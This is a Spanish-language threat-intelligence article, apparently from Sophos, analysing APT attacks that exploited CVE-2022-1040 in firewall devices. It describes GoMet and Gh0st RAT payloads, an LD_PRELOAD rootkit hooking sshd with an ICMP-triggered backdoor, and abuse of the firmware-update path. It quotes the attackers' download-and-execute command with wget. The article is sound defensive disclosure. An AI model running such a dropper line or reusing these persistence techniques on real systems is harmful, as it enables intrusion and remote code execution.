Sophos ha concluido recientemente una investigación sobre una actividad maliciosa y ha descubierto que se han entregado malware interesantes como resultado de la explotación activa de dos grupos APT.
Los dispositivos afectados por este ataque tan selectivo estaban infectados con malware de una de las tres familias de malware. Una de las cargas útiles incorporaba una compilación completa de Busybox dentro de sí misma, lo que daba al malware un control completo sobre el entorno en el que se ejecutaba.
Este artículo es el resultado de muchas horas de investigación e ingeniería inversa por parte de los equipos de Sophos para comprender las herramientas y técnicas de los atacantes y compartirlas con la comunidad de investigación de seguridad y amenazas en general.
Cómo empezaron los ataques
Los ataques comenzaron con la explotación de CVE-2022-1040. Este fallo abusa de un proceso estándar del sistema para colocar un archivo en una ubicación fija del sistema de archivos en el dispositivo.
Los atacantes utilizaron el fallo para colocar archivos maliciosos en el dispositivo, y luego tomaron medidas adicionales que provocaron que el dispositivo se detuviera, y luego reiniciara algunos servicios. Este paso hizo que el dispositivo ejecutara los archivos que se habían colocado allí.
Creemos que los ataques fueron obra de un atacante experto, que aprovechó los conocimientos de alguien que había hecho ingeniería inversa del firmware del dispositivo. Muchos de los ejecutables ELF que encontramos servían como sustitutos (o sustitutivos) de shells que podían escribir, leer o manipular archivos o configuraciones en los dispositivos infectados.
Entre el malware ELF que encontramos, en algunos casos, había herramientas de puerta trasera. Los atacantes las utilizaban para ejecutar comandos de forma remota una vez que habían penetrado en el dispositivo. Exfiltraron una amplia gama de datos confidenciales del propio dispositivo y los utilizaron para perfilar y documentar otros objetivos potenciales en las redes host, como demuestran los archivos de texto que contienen datos dejados en los dispositivos.
Los analistas descubrieron que un atacante había compilado una versión de una herramienta de acceso remoto llamada GoMet (que hemos clasificado como Linux/Bdoor-BIN), y había configurado una tarea automática para ejecutar el malware en un momento preciso. Encontramos al menos dos variantes, una llamada javad o javadsrv, y la otra llamada javasrvd.
La única diferencia significativa entre los dos troyanos GoMet era el horario de la tarea automática utilizada para ejecutarlos. Uno estaba configurado para ejecutar GoMet cada diez minutos, y el otro estaba configurado para ejecutarlo una vez por hora.
También recuperamos un par de muestras diferentes del malware Gh0st RAT de los dispositivos. Una de las muestras también se llamaba javad, mientras que la otra estaba en /bin/wrapped. Gh0st RAT (Linux/Agnt-A) es una familia de malware relativamente común que se utiliza ampliamente en las plataformas Windows y Linux.
Basándonos en el nivel relativamente bajo de sofisticación de estas muestras, creemos que fueron obra de uno de al menos dos grupos APT que trabajaron simultáneamente. Ambos grupos tenían acceso a los conocimientos necesarios para desplegar el malware utilizando el mismo exploit, pero el otro grupo APT sospechoso era mucho más capaz, y creó malware personalizado diseñado específicamente para ejecutarse en el entorno, e incluso para imitar los archivos encontrados en estos dispositivos.
Por ejemplo, encontramos algunos archivos que los atacantes habían tomado directamente de un sistema comprometido y los habían modificado para añadir una funcionalidad adicional. Los atacantes sobrescribieron los archivos originales con los modificados. Los atacantes habían añadido funciones que podían aprovechar para descifrar y cargar dinámicamente otros archivos en el dispositivo sin dejar rastros en el sistema de archivos.
Pero la verdadera medida de las capacidades de este grupo APT se demostró en un binario ELF personalizado que dejaron en el sistema. No hay ningún archivo ELF con este nombre que forme parte de la instalación normal, por lo que reconocimos su presencia (el archivo se encontró sólo en un dispositivo infectado) como una señal alerta.
Aptitud evidente para el malware
Uno de los primeros descubrimientos que hicimos sobre el archivo ELF personalizado (detectado como Linux/Agnt-AS) fue que, tras compilarlo, su creador lo había envuelto en un empaquetador de tiempo de ejecución comercial llamado VMProtect. Este tipo de empaquetadores en tiempo de ejecución se utilizan en algunos programas comerciales para evitar la ingeniería inversa por parte de la competencia, y a veces los creadores de malware abusan de ellos para complicar el trabajo de los analistas. Aunque nuestros investigadores tienen mucha experiencia con malware basado en Windows empaquetado con este empaquetador, que es uno de los más difíciles de desempaquetar manualmente, la variante de Linux es menos común, y estos atacantes la habían utilizado.
Con un tamaño de unos 3 MB, el archivo es un binario ELF relativamente grande, pero con mucha funcionalidad. En esencia, el binario es un rootkit, que los atacantes configuraron añadiendo una entrada LD_PRELOAD a la secuencia de inicio del dispositivo.
Cuando se configura correctamente, se carga en el espacio de memoria del servicio secure shell daemon (sshd) y se conecata a la función ACCEPT, de modo que cuando sshd llama a esa función el sistema operativo pasa la petición directamente al archivo ELF malicioso. Esta función accept maliciosa realiza efectivamente un falso handshake ssh y una configuración ssl (que incluye un certificado CA raíz codificado). El binario también elimina la entrada de la variable de entorno LD_PRELOAD para ocultar que el servicio sshd precargó una biblioteca, pero el comando procfs la expuso, enlazada como mapeos de memoria dentro de sshd.
El malware puede ser activado por un paquete de ping ICMP que contenga datos cifrados elaborados a medida, algo que no ocurriría normalmente en el uso rutinario. Respondía a ese ping especial abriendo una sesión de reconexión a una dirección IP y un puerto encontrados dentro de los datos cifrados en el campo de datos del ping, dando al usuario del ping una puerta trasera de un solo paquete al dispositivo.
El binario ELF malicioso también es capaz de desmontar las particiones del sistema de archivos que son de sólo lectura y volver a montarlas con capacidad de escritura. Utilizaba esta capacidad para realizar otros cambios en el sistema de archivos que de otro modo serían imposibles. Además, el malware fue compilado para incluir una versión de libpcap, que utilizaba para rastrear el tráfico de red y escribir paquetes en la conexión activa de los atacantes.
Al analizar las capacidades del malware, determinamos que contenía un certificado raíz de la Autoridad de Certificación (CA) codificado que el creador o creadores del binario ELF malicioso utilizaron para establecer la configuración SSL de la conexión del actor de la amenaza.
El certificado extraído de todos los dispositivos tenía el mismo número de serie y un período de validez de 10 años que comenzaba el lunes 30 de agosto de 2021. Aunque el certificado de la CA no era válido, inesperadamente, el valor del “Emisor” del certificado de la CA indicaba que el certificado fue creado específicamente para imitar uno utilizado por otro proveedor de dispositivos y contiene el nombre del fabricante y de su producto.
El atacante demostró que había aprendido a manipular comandos internos no documentados públicamente para mover y manipular archivos, ejecutar o terminar procesos, mover archivos de un lugar a otro, y extraer y exfiltrar datos sensibles del dispositivo.
Anatomía de un ataque
Los atacantes crearon un exploit que tenía dos partes: un bypass de autenticación y una inyección de comandos. El efecto de estos combinados significaba que podían ejecutar cualquier comando como root en el dispositivo. Los atacantes también descubrieron que podían pasar un comando a los dispositivos que provocaba que el dispositivo recuperara un archivo de un servidor remoto.
El comando que recupera el archivo también lo deposita en un directorio del dispositivo donde el firewall normalmente almacena, de forma temporal, sus archivos de actualización de firmware. Los atacantes utilizaron este conocimiento del comportamiento interno del dispositivo para ejecutar un segundo comando, con el fin de que comprobara si había una actualización de firmware disponible. El proceso de actualización del firmware encontró, y luego ejecutó, el contenido del archivo que los atacantes habían colocado previamente en la ubicación temporal.
El uso de estas técnicas por parte de los atacantes revela un tiempo considerable dedicado al estudio de las funciones básicas del dispositivo y al descubrimiento de las API internas para realizar una serie de tareas que no se llevan a cabo habitualmente en un firewall.
El archivo contenía un script shell que puede descargarse desde un servidor que ellos controlan. La URL utilizada, y la carga útil del script entregada, cambiaban ligeramente de un objetivo a otro. Las cargas útiles de los scripts iniciaban la siguiente fase del ataque entregando ejecutables maliciosos a cada dispositivo infectado.
El patrón de cada una de estas cargas útiles de script era similar, aunque las URL donde se alojaban y los nombres de los archivos de las cargas útiles variaban. El script primero intentaba eliminar cualquier archivo existente con el nombre .a en el directorio /tmp/, luego utilizaba wget para recuperar una carga útil de una de un pequeño número de URL y la escribía como /tmp/.a. A continuación, utilizaba chmod para convertir la carga útil en ejecutable, la ejecutaba, y luego ejecutaba el mismo comando de borrado para eliminar el archivo .a de /tmp/. El comando tenía el siguiente aspecto
rm -rf /tmp/.a;wget [URL] -O /tmp/.a;chmod +x /tmp/.a;sh /tmp/.a;rm -rf /tmp/.a
Los atacantes, en algunos casos, registraron nombres de dominio personalizados que están conectados temáticamente con algunas de las organizaciones objetivo.
En algunos casos, la URL apuntaba a la dirección IP de otro dispositivo comprometido, que los atacantes utilizaban para alojar cargas útiles maliciosas.
Los atacantes también utilizaron varias direcciones IP pertenecientes al sitio web de un departamento universitario de investigación médica que participa en los esfuerzos de respuesta de COVID en la región.
IoC y otras señales de alerta
Tenemos lo que creemos, es una lista completa de los dominios y direcciones IP utilizados para alojar las cargas útiles de malware, pero ninguno de los sitios ha estado activo desde que comenzamos la investigación el 21 de marzo de 2022.
La vulnerabilidad explotada en estos ataques se resolvió rápidamente, como se explica en nuestro aviso para CVE-2022-1040. En el transcurso de nuestra respuesta, dimos prioridad a la divulgación entre las pocas organizaciones con dispositivos afectados.
Agradecimientos
SophosLabs quiere agradecer las contribuciones de las siguientes personas que investigaron estos ataques y estudiaron el malware: Timothy Easton, Sabrina Karim, Elison Niven, Brijesh Rajput, Tom Sage y el equipo que dirige el Centro de Operaciones de Seguridad Global de Sophos. Los investigadores de Recorded Future proporcionaron información adicional y COI. Gracias también a Volexity.